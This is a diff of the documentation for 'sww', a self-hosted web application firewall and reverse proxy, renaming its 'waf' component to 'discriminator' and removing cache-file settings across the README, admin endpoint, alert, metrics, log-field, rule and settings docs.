the Markdown with prettier. `make fmt`. `make fmt`.
- `golines` wraps code at 77 columns but leaves comments and strings alone.
Wrap those by hand.
- The linter fails only lines longer than 88 columns.
- `script/fmt-check`: checks the formatting and changes nothing. - `script/fmt-check`: checks the formatting and changes nothing.
`make fmt-check`. `make fmt-check`.
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`. - `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
@@ -754,26 +734,25 @@ on the host.
- `script/precommit`: run by the git pre-commit hook; runs `script/check`. - `script/precommit`: run by the git pre-commit hook; runs `script/check`.
- `script/install-precommit`: installs that hook. `make hooks`. - `script/install-precommit`: installs that hook. `make hooks`.
- `script/build`: builds `bin/sww` with the Go on your host. `make build`. - `script/build`: builds `bin/sww` with the Go on your host. `make build`.
- `script/run`: builds `bin/sww` and runs `waf` and `rproxy` on the host, with - `script/run`: builds `bin/sww` and runs `discriminator` and `rproxy` on the
the settings in your environment. `make run`. Unless your settings say host, with the settings in your environment. `make run`. Unless your settings
otherwise: say otherwise:
- `rproxy` listens on port 8080, in front of an app at - `rproxy` listens on port 8080, in front of an app at
`http://127.0.0.1:8081`; `http://127.0.0.1:8081`;
- `waf` listens on port 8090; - `discriminator` listens on port 8090;
- its state files go in `bin/state`; - its state files go in `bin/state`;
- its cache files go in `bin/cache`;
- its rule files are those of `share/rules.d`. - its rule files are those of `share/rules.d`.
- `script/example-app`: builds the image and the example app - `script/example-app`: builds the image and the example app
(`deploy/example-app`) on it, runs the app with `rproxy` in its container and (`deploy/example-app`) on it, runs the app with `rproxy` in its container and
`waf` in another, and checks them. Then it removes the containers, the `discriminator` in another, and checks them. Then it removes the containers,
network, the volumes and the images. Needs network access. `make example-app`. the network, the volumes and the images. Needs network access.
It checks: `make example-app`. It checks:
- the health checks; - the health checks;
- a request passed to the app; - a request passed to the app;
- a ban for a broken limit, and a ban for a probe made permanent; - a ban for a broken limit, and a ban for a probe made permanent;
- that only `waf`'s container changes the state directory's owner; - that only `discriminator`'s container changes the state directory's owner;
- with `waf` stopped, the app still answering through `rproxy`; - with `discriminator` stopped, the app still answering through `rproxy`;
- with `waf` started again, bans applying again; - with `discriminator` started again, bans applying again;
- orderly stops with `sv stop` and `docker stop`; - orderly stops with `sv stop` and `docker stop`;
- bans surviving a new container on the same volume; - bans surviving a new container on the same volume;
- a setting given as a file. - a setting given as a file.
@@ -798,8 +777,8 @@ on the host.
- [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination - [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
gets. gets.
- [`docs/metrics.md`](docs/metrics.md): the metrics. - [`docs/metrics.md`](docs/metrics.md): the metrics.
- [`docs/state-files.md`](docs/state-files.md): the state and cache files and - [`docs/state-files.md`](docs/state-files.md): the state files and what each
what each holds. holds.
- [`docs/image.md`](docs/image.md): what the image holds and how it is pinned. - [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
## License ## License
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+2 -2
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@@ -1,6 +1,6 @@
// Command sww is a web application firewall. `sww rproxy` is the reverse // Command sww is a web application firewall. `sww rproxy` is the reverse
// proxy in front of one app, which asks waf about each request. // proxy in front of one app, which asks discriminator about each request.
// `sww waf` decides, for many sites, and keeps what lasts. `sww // `sww discriminator` decides, for many sites, and keeps what lasts. `sww
// healthcheck` is the container's health check. Everything it does is in // healthcheck` is the container's health check. Everything it does is in
// internal/sww. // internal/sww.
package main package main
+17 -17
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@@ -1,8 +1,8 @@
# Admin endpoints # Admin endpoints
The endpoints under `/_sww/`, what each takes and what each answers. `sww waf` The endpoints under `/_sww/`, what each takes and what each answers.
answers them at its own address, on the private network. "Admin endpoints" in `sww discriminator` answers them at its own address, on the private network.
[`SPEC.md`](../SPEC.md) says how their tokens work. "Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work.
- `GET /_sww/healthz`: `200` and `ok`, to anyone. - `GET /_sww/healthz`: `200` and `ok`, to anyone.
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see - `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see
@@ -20,10 +20,10 @@ answers them at its own address, on the private network. "Admin endpoints" in
- one that names an IPv4-mapped netblock, or an address with a zone. - one that names an IPv4-mapped netblock, or an address with a zone.
- `DELETE /_sww/bans/<client>`: lifts every active ban covering the address - `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
`<client>`. It answers `404` when none is active. `<client>`. It answers `404` when none is active.
- `GET /_sww/clients/<ip>`: what `waf` knows of the client. Under `client`, its - `GET /_sww/clients/<ip>`: what `discriminator` knows of the client. Under
counters and history as `clients.json` holds them, or `null` when `client`, its counters and history as `clients.json` holds them, or `null`
`clients.json` does not hold it. Under `bans`, every ban covering the address, when `clients.json` does not hold it. Under `bans`, every ban covering the
with its notes. address, with its notes.
- `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers - `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
`204`, or `400` to a body that is no report (see "The report" in `204`, or `400` to a body that is no report (see "The report" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
@@ -32,29 +32,29 @@ No check runs on these requests. A missing or wrong token is answered `401`. An
endpoint whose token is unset answers `404`, as does any other path. endpoint whose token is unset answers `404`, as does any other path.
`sww rproxy` answers only the health check of these, at its own address. It asks `sww rproxy` answers only the health check of these, at its own address. It asks
`waf` about any other request under `/_sww/`. One that passes the checks is `discriminator` about any other request under `/_sww/`. One that passes the
answered `404`, so that the app never sees that prefix (see "`rproxy`" in checks is answered `404`, so that the app never sees that prefix (see "`rproxy`"
[`SPEC.md`](../SPEC.md)). in [`SPEC.md`](../SPEC.md)).
## Examples ## Examples
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `discriminator` reached
`waf:8080` on its network: as `discriminator:8080` on its network:
```sh ```sh
# Every ban. # Every ban.
curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/bans curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/bans
# Ban 203.0.113.0/24 for seven days. # Ban 203.0.113.0/24 for seven days.
curl -H "Authorization: Bearer $TOKEN" \ curl -H "Authorization: Bearer $TOKEN" \
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \ --json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
http://waf:8080/_sww/bans http://discriminator:8080/_sww/bans
# Lift the bans on 203.0.113.9. # Lift the bans on 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" -X DELETE \ curl -H "Authorization: Bearer $TOKEN" -X DELETE \
http://waf:8080/_sww/bans/203.0.113.9 http://discriminator:8080/_sww/bans/203.0.113.9
# What waf knows of 203.0.113.9. # What discriminator knows of 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" \ curl -H "Authorization: Bearer $TOKEN" \
http://waf:8080/_sww/clients/203.0.113.9 http://discriminator:8080/_sww/clients/203.0.113.9
``` ```
+8 -8
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@@ -6,7 +6,7 @@ back or dropped.
## Events ## Events
- `ban`: a ban `waf` made. - `ban`: a ban `discriminator` made.
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by - `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
a request. a request.
- `core_rule_set_match`: the Core Rule Set scored a request at or over the - `core_rule_set_match`: the Core Rule Set scored a request at or over the
@@ -23,8 +23,7 @@ back or dropped.
- the day's AbuseIPDB checks used up. - the day's AbuseIPDB checks used up.
- `file_error`: one of: - `file_error`: one of:
- a rule file or state file edit with an error; - a rule file or state file edit with an error;
- a cache file that does not parse, at start or after an edit; - a state file that cannot be written;
- a state file or cache file that cannot be written;
- a replacement lookup database that cannot be read. - a replacement lookup database that cannot be read.
- `summary`: the hourly summary of alerts held back. - `summary`: the hourly summary of alerts held back.
@@ -35,7 +34,7 @@ on one line:
```json ```json
{ {
"instance": "fsn1/waf", "instance": "fsn1/discriminator",
"time": "2026-10-06T12:00:50.123461Z", "time": "2026-10-06T12:00:50.123461Z",
"event": "ban", "event": "ban",
"host": "app.example", "host": "app.example",
@@ -80,8 +79,9 @@ on one line:
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`: - `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`:
one of the events above. one of the events above.
- `host`: the site of the request that raised the alert, since one `waf` serves - `host`: the site of the request that raised the alert, since one
many sites. It is left out of `source_failure`, `file_error` and `summary`. `discriminator` serves many sites. It is left out of `source_failure`,
`file_error` and `summary`.
- `client`: the address whose request raised the alert. Empty for - `client`: the address whose request raised the alert. Empty for
`source_failure`, `file_error` and `summary`. `source_failure`, `file_error` and `summary`.
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise - `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
@@ -111,8 +111,8 @@ on one line:
## Slack and ntfy ## Slack and ntfy
Slack and ntfy get a message with a title and a text. The title is the instance Slack and ntfy get a message with a title and a text. The title is the instance
and the event, such as `fsn1/waf: ban`. The text is the `reason`, then one line and the event, such as `fsn1/discriminator: ban`. The text is the `reason`, then
for each of these that the alert has: one line for each of these that the alert has:
- the host, the client, the netblock and the country; - the host, the client, the netblock and the country;
- the file, the source, the error and the mode from `detail`; - the file, the source, the error and the mode from `detail`;
+5 -6
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@@ -1,9 +1,9 @@
# What the image holds # What the image holds
The contents of the `smallwebwaf` image, and how each part is pinned. The image The contents of the `smallwebwaf` image, and how each part is pinned. The image
runs `rproxy` by default, or `waf` with `SWW_COMMAND=waf`. "Deployment" in runs `rproxy` by default, or `discriminator` with `SWW_COMMAND=discriminator`.
[`SPEC.md`](../SPEC.md) says why each part is there and why it is pinned that "Deployment" in [`SPEC.md`](../SPEC.md) says why each part is there and why it
way. is pinned that way.
## Contents ## Contents
@@ -18,9 +18,8 @@ way.
- The `sww` binary, and the user `sww` (uid and gid 65532). - The `sww` binary, and the user `sww` (uid and gid 65532).
- The service directory `/etc/service/sww`, with the `run` script - The service directory `/etc/service/sww`, with the `run` script
`share/sww.run`. `share/sww.run`.
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the - `/var/lib/sww` for `discriminator`'s state files, and `/etc/sww/rules.d` with
default rule file `share/rules.d/00-default.rules`. The `run` script makes the default rule file `share/rules.d/00-default.rules`.
`SWW_STATE_DIR` when it is missing.
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`. - `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
## Pins ## Pins
+8 -8
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@@ -1,8 +1,8 @@
# The metrics # The metrics
What `GET /_sww/metrics` answers with, at `waf`'s own address. "Metrics What `GET /_sww/metrics` answers with, at `discriminator`'s own address.
endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus keeps "Metrics endpoint" in [`SPEC.md`](../SPEC.md) describes the endpoint. Prometheus
the `instance` label as `exported_instance` unless the scrape sets keeps the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics. `honor_labels: true`. `rproxy` has no metrics.
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
@@ -15,7 +15,7 @@ body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
- `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as - `sww_request_duration_seconds` and `sww_upstream_duration_seconds`, as
histograms; histograms;
- `sww_requests_in_flight`: the questions and requests to its own endpoints that - `sww_requests_in_flight`: the questions and requests to its own endpoints that
`waf` is handling. `discriminator` is handling.
## Limits and bans ## Limits and bans
@@ -58,9 +58,9 @@ By `source`: each list's URL, each zone, and `abuseipdb`:
- `sww_reputation_last_fetch_timestamp_seconds`, for a list; - `sww_reputation_last_fetch_timestamp_seconds`, for a list;
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB. - `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
## State and cache files ## State files
By `file`, the name of a state or cache file: By `file`:
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`, - `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`; `sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
@@ -78,8 +78,8 @@ By `file`, the name of a state or cache file:
## When a request is counted ## When a request is counted
`waf` counts a denied request at its decision, and a request to its own `discriminator` counts a denied request at its decision, and a request to its
endpoints when it is answered. It counts an allowed request when its report own endpoints when it is answered. It counts an allowed request when its report
comes, with the status, bytes and times the report gives. These are not counted: comes, with the status, bytes and times the report gives. These are not counted:
- a report itself; - a report itself;
+37 -34
View File
@@ -1,32 +1,32 @@
# The request log's fields # The request log's fields
The fields of the JSON objects `rproxy` and `waf` write about each request. The fields of the JSON objects `rproxy` and `discriminator` write about each
"Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line is request. "Request log" and "The log" in [`SPEC.md`](../SPEC.md) say when a line
written and how the log is sent to a syslog server. A field that does not apply is written and how the log is sent to a syslog server. A field that does not
to a request is left out. apply to a request is left out.
## `waf`'s lines ## `discriminator`'s lines
`sww waf` writes two lines for each question it answers, joined by `request_id`. `sww discriminator` writes two lines for each question it answers, joined by
The field `waf_line` says which of the two a line is: `request_id`. The field `discriminator_line` says which of the two a line is:
- `decision`: the line it writes once it has answered the question; - `decision`: the line it writes once it has answered the question;
- `report`: the line it writes when `rproxy`'s report comes, with everything - `report`: the line it writes when `rproxy`'s report comes, with everything
known. The repetition is intended. known. The repetition is intended.
A request to its own endpoints writes one line, without `waf_line`. A report A request to its own endpoints writes one line, without `discriminator_line`. A
writes no line but the `report` line of the request it names. report writes no line but the `report` line of the request it names.
These questions write no line: These questions write no line:
- a question refused with `400` (see "The question" under "`waf`" in - a question refused with `400` (see "The question" under "`discriminator`" in
[`SPEC.md`](../SPEC.md)); [`SPEC.md`](../SPEC.md));
- a question whose body stopped arriving, which gets no answer. - a question whose body stopped arriving, which gets no answer.
A `report` line: A `report` line:
``` ```
{"type":"request","waf_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/waf","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104} {"type":"request","discriminator_line":"report","time":"2026-10-03T12:00:00.123Z","instance":"fsn1/discriminator","client_ip":"203.0.113.9","method":"GET","scheme":"https","host":"app.example","path":"/","query":"","protocol":"HTTP/1.1","status":200,"request_bytes":0,"response_bytes":5120,"referer":"","user_agent":"curl/8.9.1","request_id":"7Q2NHZ4KJ3VXW5YB6R3MEFTD2A","peer_ip":"172.18.0.2","forwarded_for":"203.0.113.9","client_group":"203.0.113.9/32","asn":"AS64496","as_name":"Example Net","country":"DE","request_headers":{"accept":"*/*"},"action":"forward","counts":{"minute":1,"hour":12,"day":40,"minute_bytes":5120,"hour_bytes":61440,"day_bytes":204800},"core_rule_set_score":0,"duration_total_ms":3.217,"duration_checks_ms":0.041,"duration_core_rule_set_ms":0.029,"duration_upstream_total_ms":3.104}
``` ```
### Every line ### Every line
@@ -41,8 +41,9 @@ Every one of these lines has:
### Standard web log fields ### Standard web log fields
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds, - `time`: when `discriminator` had read the question's body, RFC 3339 with
in UTC. The `report` line gives the same time as the `decision` line. milliseconds, in UTC. The `report` line gives the same time as the `decision`
line.
- `instance`: `SWW_INSTANCE_NAME`. - `instance`: `SWW_INSTANCE_NAME`.
- `client_ip`: the visitor's address, as `rproxy` worked it out. - `client_ip`: the visitor's address, as `rproxy` worked it out.
- `method`, `path` and `query`: the visitor's request. - `method`, `path` and `query`: the visitor's request.
@@ -51,8 +52,9 @@ Every one of these lines has:
- `host`: the site the visitor asked for. - `host`: the site the visitor asked for.
- `protocol`: the question's own, `HTTP/1.1`. - `protocol`: the question's own, `HTTP/1.1`.
- `status`: - `status`:
- on the `decision` line, what `waf` answered: `200` for `allow`, the status - on the `decision` line, what `discriminator` answered: `200` for `allow`,
of `deny`, or `0` for `close`, as the visitor is then sent nothing; the status of `deny`, or `0` for `close`, as the visitor is then sent
nothing;
- on the `report` line, what the visitor got, `0` if nothing. - on the `report` line, what the visitor got, `0` if nothing.
- `request_bytes`: - `request_bytes`:
- on the `decision` line, how much of the question's body the Core Rule Set - on the `decision` line, how much of the question's body the Core Rule Set
@@ -60,7 +62,7 @@ Every one of these lines has:
- on the `report` line, the bytes of the visitor's body that `rproxy` read, - on the `report` line, the bytes of the visitor's body that `rproxy` read,
with what a WebSocket carried from the visitor. with what a WebSocket carried from the visitor.
- `response_bytes`: - `response_bytes`:
- on the `decision` line, the body of `waf`'s answer; - on the `decision` line, the body of `discriminator`'s answer;
- on the `report` line, the bytes of the answer's body, with what a - on the `report` line, the bytes of the answer's body, with what a
WebSocket carried from the app. WebSocket carried from the app.
- `referer` and `user_agent`. - `referer` and `user_agent`.
@@ -77,7 +79,7 @@ Every one of these lines has:
- lookups are off; - lookups are off;
- the client is not looked up; - the client is not looked up;
- the source cannot place the client; - the source cannot place the client;
- GeoJS had not answered by the time `waf` answered. - GeoJS had not answered by the time `discriminator` answered.
- `content_type`: the visitor's `Content-Type`. - `content_type`: the visitor's `Content-Type`.
- `content_length`: the body length the visitor announced. - `content_length`: the body length the visitor announced.
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in - `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in
@@ -87,7 +89,7 @@ Every one of these lines has:
### Response detail ### Response detail
- `response_content_type`: the type of `waf`'s own answer. - `response_content_type`: the type of `discriminator`'s own answer.
- `aborted`: true when `rproxy` went away before the answer. - `aborted`: true when `rproxy` went away before the answer.
### Decision ### Decision
@@ -103,8 +105,8 @@ Every one of these lines has:
- `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and - `country_denied`, `client_is_rate_limited`, `blocked_by_block_rule` and
`blocked_by_core_rule_set`: refused by that check; `blocked_by_core_rule_set`: refused by that check;
- `request_header_too_large`: over a header limit; - `request_header_too_large`: over a header limit;
- `own_endpoint`: answered at one of `waf`'s own endpoints, or `404` for a - `own_endpoint`: answered at one of `discriminator`'s own endpoints, or
path under `/_sww/`. `404` for a path under `/_sww/`.
- `would_action`: in `observe` mode, what `enforce` mode would have done with a - `would_action`: in `observe` mode, what `enforce` mode would have done with a
request it would have refused. `action` then names what was done, normally request it would have refused. `action` then names what was done, normally
`forward`. `forward`.
@@ -129,8 +131,9 @@ Every one of these lines has:
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`; - `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the error burst; - `refusal_limit`: `window`, `count` and `limit`, of the error burst;
- `byte_limits`: `window`, `count` and `limit`, the count in bytes. - `byte_limits`: `window`, `count` and `limit`, the count in bytes.
- `after_answer_heuristic`: the heuristic that banned the client after `waf` - `after_answer_heuristic`: the heuristic that banned the client after
answered the request, in `observe` mode too: `refusal_limit` or `byte_limits`. `discriminator` answered the request, in `observe` mode too: `refusal_limit`
or `byte_limits`.
- `after_answer_heuristic_figures`: an object of the figures that heuristic - `after_answer_heuristic_figures`: an object of the figures that heuristic
acted on, as listed above. acted on, as listed above.
@@ -188,8 +191,8 @@ Every one of these lines has:
All in milliseconds: All in milliseconds:
- `duration_total_ms`: - `duration_total_ms`:
- on the `decision` line, from `waf` having read the question's body to the - on the `decision` line, from `discriminator` having read the question's
line; body to the line;
- on the `report` line, from `rproxy` having read the request's headers to - on the `report` line, from `rproxy` having read the request's headers to
the end of the answer. the end of the answer.
- `duration_checks_ms`: to the end of the checks; - `duration_checks_ms`: to the end of the checks;
@@ -199,8 +202,8 @@ All in milliseconds:
### Requests to its own endpoints ### Requests to its own endpoints
The line of a request to `waf`'s own endpoints has these fields, with these The line of a request to `discriminator`'s own endpoints has these fields, with
meanings where they differ: these meanings where they differ:
- `client_ip` and `peer_ip`: the request's TCP peer. - `client_ip` and `peer_ip`: the request's TCP peer.
- `request_id`: a new random one of 26 letters and digits. - `request_id`: a new random one of 26 letters and digits.
@@ -213,7 +216,7 @@ meanings where they differ:
## `rproxy`'s line ## `rproxy`'s line
`sww rproxy` writes one short line for each request. `request_id` joins it to `sww rproxy` writes one short line for each request. `request_id` joins it to
`waf`'s two. It has these fields and no others: `discriminator`'s two. It has these fields and no others:
- `type`: `request`. - `type`: `request`.
- `time`: when the request arrived, RFC 3339 with milliseconds, in UTC. - `time`: when the request arrived, RFC 3339 with milliseconds, in UTC.
@@ -228,15 +231,15 @@ meanings where they differ:
carried from the app. carried from the app.
- `duration_request_ms`: milliseconds from the request's headers being read - `duration_request_ms`: milliseconds from the request's headers being read
until the app had been sent the whole request, or the answer started if that until the app had been sent the whole request, or the answer started if that
was sooner. It includes the wait for `waf`. was sooner. It includes the wait for `discriminator`.
- `duration_response_ms`: milliseconds from then until the end of the answer. - `duration_response_ms`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It - `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `waf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left out is `discriminator`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is
when: left out when:
- `waf` was not asked, as for the health check; - `discriminator` was not asked, as for the health check;
- the visitor went away while `waf` was being asked; - the visitor went away while `discriminator` was being asked;
- `waf`'s answer had no valid `X-Sww-Disposition`; - `discriminator`'s answer had no valid `X-Sww-Disposition`;
- `rproxy` could not pass on `waf`'s answer, and answered `502`. - `rproxy` could not pass on `discriminator`'s answer, and answered `502`.
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave - `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave
`disposition`, and otherwise left out. `disposition`, and otherwise left out.
+6 -4
View File
@@ -54,18 +54,20 @@ empty-agent user_agent log ^$
## A file of your own ## A file of your own
`waf` reads the rule files in its own container. Rules of your own go in a file `discriminator` reads the rule files in its own container. Rules of your own go
named to sort after the default, such as `50-site.rules`: in a file named to sort after the default, such as `50-site.rules`:
``` ```
# 50-site.rules: WordPress probes, which this site never serves # 50-site.rules: WordPress probes, which this site never serves
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/) wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
``` ```
A `Dockerfile` built on the `smallwebwaf` image, for `waf` to run from, adds it: A `Dockerfile` built on the `smallwebwaf` image, for `discriminator` to run
from, adds it:
```dockerfile ```dockerfile
COPY 50-site.rules /etc/sww/rules.d/50-site.rules COPY 50-site.rules /etc/sww/rules.d/50-site.rules
``` ```
Or mount it there. A `path` rule applies on every site behind that `waf`. Or mount it there. A `path` rule applies on every site behind that
`discriminator`.
+44 -43
View File
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
that take `off`, the `_FILE` form, and what each group does and why. that take `off`, the `_FILE` form, and what each group does and why.
The settings that start with `SWW_` are `waf`'s. Those that start with `SWRP_` The settings that start with `SWW_` are `discriminator`'s. Those that start with
are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses between `SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
the two (see "The image's command" below). between the two (see "The image's command" below).
## Forms of values ## Forms of values
@@ -28,20 +28,21 @@ the two (see "The image's command" below).
## Core ## Core
- `SWW_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port, such - `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)). port, such as `:9000`. Leave the host out (see "Ports" in
[`SPEC.md`](../SPEC.md)).
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name - `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
in each line `waf` logs, and in each alert and metric, such as `fsn1/waf`. in each line `discriminator` logs, and in each alert and metric, such as
Valid UTF-8. No control character while `SWW_ALERT_NTFY_URL` is set. 1 to 48 `fsn1/discriminator`. Valid UTF-8. No control character while
printable ASCII characters without a space while `SWW_LOG_REMOTE_URL` is set `SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
and `SWW_LOG_REMOTE_APP_NAME` is not. space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
- `SWW_MODE` (default `enforce`): `enforce` or `observe`. - `SWW_MODE` (default `enforce`): `enforce` or `observe`.
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's - `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
group, from 32 to 128. group, from 32 to 128.
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole - `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
number above zero. number above zero.
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a whole - `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
number above zero. keeps, a whole number above zero.
## Tokens ## Tokens
@@ -50,21 +51,19 @@ the two (see "The image's command" below).
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least - `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
32 characters. 32 characters.
## State and cache files ## State files
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an - `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
absolute path that can be written. The image's `run` script makes it. absolute path that exists and can be written.
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be - `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration. written after a ban is made, lifted or made permanent. A duration.
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache - `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
file is written. A duration. written. A duration.
- `SWW_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files,
an absolute path that can be written. The image's `run` script makes it.
## Logging ## Logging
- `SWW_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages - `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
that are written: `debug`, `info`, `warn` or `error`. messages that are written: `debug`, `info`, `warn` or `error`.
- `SWW_LOG_REQUEST_HEADERS` (default - `SWW_LOG_REQUEST_HEADERS` (default
`accept,accept-language,accept-encoding,content-type,origin,range`): the `accept,accept-language,accept-encoding,content-type,origin,range`): the
request headers recorded in the log line, in either case. `Host` and request headers recorded in the log line, in either case. `Host` and
@@ -168,8 +167,8 @@ cut off; the client is banned.
## Request tags ## Request tags
Every request gets tags from what `waf` knows of its client. See "Request tags" Every request gets tags from what `discriminator` knows of its client. See
in [`SPEC.md`](../SPEC.md). "Request tags" in [`SPEC.md`](../SPEC.md).
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as - `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
@@ -189,10 +188,10 @@ in [`SPEC.md`](../SPEC.md).
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a - `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
service that gives an address's announced netblock and origin AS. `waf` asks service that gives an address's announced netblock and origin AS.
it about each client, in the background, and adds the tags `asn=<number>` and `discriminator` asks it about each client, in the background, and adds the
`prefix=<netblock>` from its answer. While it is unset, nothing asks tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
routewatch and no request gets a `prefix=` tag. unset, nothing asks routewatch and no request gets a `prefix=` tag.
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag `SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
that no request can get stops the start. A request can get only these: that no request can get stops the start. A request can get only these:
@@ -378,7 +377,7 @@ Then mount its directory into the container read-only, and name the file:
```sh ```sh
docker run \ docker run \
-v /srv/app/tokens:/etc/sww/tokens:ro \ -v /srv/app/tokens:/etc/sww/tokens:ro \
-e SWW_COMMAND=waf \ -e SWW_COMMAND=discriminator \
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \ -e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
... ...
``` ```
@@ -392,20 +391,21 @@ A few limits are fixed rather than settings:
- at most 1,000 DNS blocklist queries are under way at once; - at most 1,000 DNS blocklist queries are under way at once;
